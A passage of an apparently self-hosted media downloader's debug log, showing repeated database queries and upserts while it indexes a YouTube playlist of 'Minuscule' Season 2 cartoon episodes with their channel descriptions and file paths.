#vIVNjZKoMSc"} 22:15:23.827 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1655.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:23.827 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #a6ttmuhA81A/youtube video #a6ttmuhA81A [a6ttmuhA81A].NA", "id" => "a6ttmuhA81A", "original_url" => "https://www.youtube.com/watch?v=a6ttmuhA81A", "playlist_index" => 178, "title" => "youtube video #a6ttmuhA81A"} 22:15:23.828 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1251.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:23.829 [debug] Current batch of media processed. Will check again in 1000ms 22:15:24.830 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #YIm0DVq47kM/youtube video #YIm0DVq47kM [YIm0DVq47kM].NA", "id" => "YIm0DVq47kM", "original_url" => "https://www.youtube.com/watch?v=YIm0DVq47kM", "playlist_index" => 179, "title" => "youtube video #YIm0DVq47kM"} 22:15:24.831 [debug] QUERY OK source="sources" db=0.3ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:24.831 [debug] Current batch of media processed. Will check again in 1000ms 22:15:25.832 [debug] Current batch of media processed. Will check again in 1000ms 22:15:26.833 [debug] Current batch of media processed. Will check again in 1000ms 22:15:27.834 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 296, "filename" => "/downloads/Miniscule Season 2/2016-03-21 Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2)/Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2) [4XCsQv48wfg].mp4", "id" => "4XCsQv48wfg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4XCsQv48wfg", "playlist_index" => 180, "timestamp" => 1458553742, "title" => "Minuscule - Love Apple / Pomme d'Amour (saison 2)", "upload_date" => "20160321"} 22:15:27.835 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1663.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:27.836 [debug] QUERY OK source="sources" db=0.4ms idle=1664.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:27.837 [debug] QUERY OK source="media_items" db=1.0ms idle=1252.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-03-21 09:49:02Z], 5] 22:15:27.842 [debug] QUERY OK source="media_items" db=3.1ms idle=667.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Love Apple / Pomme d'Amour (saison 2)", "b76f188e-65f6-4b42-8212-6a851152e4da", "4XCsQv48wfg", 296, false, 5, "https://www.youtube.com/watch?v=4XCsQv48wfg", 180, "/downloads/Miniscule Season 2/2016-03-21 Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2)/Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2) [4XCsQv48wfg].mp4", false, false, false, [], 1, ~U[2016-03-21 09:49:02Z], ~U[2025-12-12 05:15:27Z], ~U[2025-12-12 05:15:27Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Love Apple / Pomme d'Amour (saison 2)", "4XCsQv48wfg", 296, false, 5, "https://www.youtube.com/watch?v=4XCsQv48wfg", "/downloads/Miniscule Season 2/2016-03-21 Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2)/Minuscule - Love Apple ⧸ Pomme d'Amour (saison 2) [4XCsQv48wfg].mp4", false, ~U[2016-03-21 09:49:02Z]] 22:15:27.843 [debug] QUERY OK source="sources" db=0.4ms idle=256.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:27.844 [debug] QUERY OK source="media_profiles" db=0.4ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:27.845 [debug] QUERY OK source="media_items" db=0.6ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89210] 22:15:27.845 [debug] Current batch of media processed. Will check again in 1000ms 22:15:28.846 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #4iyxQZhiqjA/youtube video #4iyxQZhiqjA [4iyxQZhiqjA].NA", "id" => "4iyxQZhiqjA", "original_url" => "https://www.youtube.com/watch?v=4iyxQZhiqjA", "playlist_index" => 181, "title" => "youtube video #4iyxQZhiqjA"} 22:15:28.847 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:28.847 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #4NDBRDrneN0/youtube video #4NDBRDrneN0 [4NDBRDrneN0].NA", "id" => "4NDBRDrneN0", "original_url" => "https://www.youtube.com/watch?v=4NDBRDrneN0", "playlist_index" => 182, "title" => "youtube video #4NDBRDrneN0"} 22:15:28.848 [debug] QUERY OK source="sources" db=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:28.848 [debug] Current batch of media processed. Will check again in 1000ms 22:15:29.849 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #peIddlqyTeg/youtube video #peIddlqyTeg [peIddlqyTeg].NA", "id" => "peIddlqyTeg", "original_url" => "https://www.youtube.com/watch?v=peIddlqyTeg", "playlist_index" => 183, "title" => "youtube video #peIddlqyTeg"} 22:15:29.850 [debug] QUERY OK source="sources" db=0.4ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:29.850 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #0pwKc3PkRK0/youtube video #0pwKc3PkRK0 [0pwKc3PkRK0].NA", "id" => "0pwKc3PkRK0", "original_url" => "https://www.youtube.com/watch?v=0pwKc3PkRK0", "playlist_index" => 184, "title" => "youtube video #0pwKc3PkRK0"} 22:15:29.851 [debug] QUERY OK source="sources" db=0.3ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:29.851 [debug] Current batch of media processed. Will check again in 1000ms 22:15:30.853 [debug] Current batch of media processed. Will check again in 1000ms 22:15:31.854 [debug] Current batch of media processed. Will check again in 1000ms 22:15:32.855 [debug] Current batch of media processed. Will check again in 1000ms 22:15:33.856 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 273, "filename" => "/downloads/Miniscule Season 2/2015-02-12 Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2)/Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2) [diIkW1_XW4A].mp4", "id" => "diIkW1_XW4A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=diIkW1_XW4A", "playlist_index" => 185, "timestamp" => 1423757451, "title" => "Minuscule - Valentine's Day / La Saint Valentin (Season 2)", "upload_date" => "20150212"} 22:15:33.857 [debug] QUERY OK source="sources" db=0.4ms idle=685.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:33.858 [debug] QUERY OK source="sources" db=0.4ms idle=686.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:33.860 [debug] QUERY OK source="media_items" db=1.0ms idle=687.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-02-12 16:10:51Z], 5] 22:15:33.864 [debug] QUERY OK source="media_items" db=3.1ms idle=689.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Valentine's Day / La Saint Valentin (Season 2)", "c798ad30-b869-40b5-bfba-64b81473a93d", "diIkW1_XW4A", 273, false, 5, "https://www.youtube.com/watch?v=diIkW1_XW4A", 185, "/downloads/Miniscule Season 2/2015-02-12 Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2)/Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2) [diIkW1_XW4A].mp4", false, false, false, [], 1, ~U[2015-02-12 16:10:51Z], ~U[2025-12-12 05:15:33Z], ~U[2025-12-12 05:15:33Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 